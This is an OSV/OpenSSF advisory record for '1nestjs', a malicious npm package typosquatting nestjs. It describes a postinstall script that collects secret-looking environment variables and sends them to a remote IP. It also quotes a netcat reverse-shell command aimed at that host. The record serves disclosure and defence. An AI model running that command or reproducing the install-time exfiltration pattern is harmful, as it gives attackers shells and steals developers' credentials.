MAL-2026-15909

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/1nestjs/MAL-2026-15909.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15909
Published
2026-09-03T23:45:56Z
Modified
2026-09-04T05:45:05.674961497Z
Summary
Malicious code in 1nestjs (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43)

Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").

Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71)

The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-09-04T05:18:10.340776882Z",
            "source": "ossf-package-analysis",
            "versions": [
                "0.0.1"
            ],
            "modified_time": "2026-09-03T23:45:56Z",
            "sha256": "bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71"
        },
        {
            "import_time": "2026-09-04T05:39:32.468803222Z",
            "source": "amazon-inspector",
            "versions": [
                "0.0.1"
            ],
            "id": "IN-MAL-2026-019473",
            "modified_time": "2026-09-04T05:18:58Z",
            "sha256": "71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43"
        }
    ]
}
References
Credits

Affected packages

npm / 1nestjs

Package

Name
1nestjs
View open source insights on deps.dev
Purl
pkg:npm/1nestjs

Affected ranges

Affected versions

0.*
0.0.1

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/1nestjs/MAL-2026-15909.json"
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "tlsh": "38118c9846e9a57a0ba117d1853242377afbc4303202e6d1719ca2df6e93d180563dfc",
            "sha256": "3648c3c9eb267990b273a1f8a9c8459fc3e5b228d023efb79e96a3f09245988b"
        },
        {
            "path": "package.json",
            "tlsh": "47d05e628c905e2325f88ea58836560ab1a10f3f20355d4bb1bf226852e227184ad72d",
            "sha256": "8f33149c79c2437f4ebbf9f151e25f43acf5003706db24ef80af1069dd25c30b"
        }
    ],
    "package_integrity": [
        {
            "filename": "1nestjs-0.0.1.tgz",
            "hashes": {
                "sha1": "8ab1000960bb42801d3269ad5bd7eeed38cbba1b",
                "sha512_sri": "sha512-XStcYCfDtfUpzs6u7qHBN46EFhbDNqDRvmxPAS5rQRxRKvztdAi+mIODiL/pwxx4wLEqQ7fOIA6apWCuNuCHaA=="
            }
        }
    ]
}
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]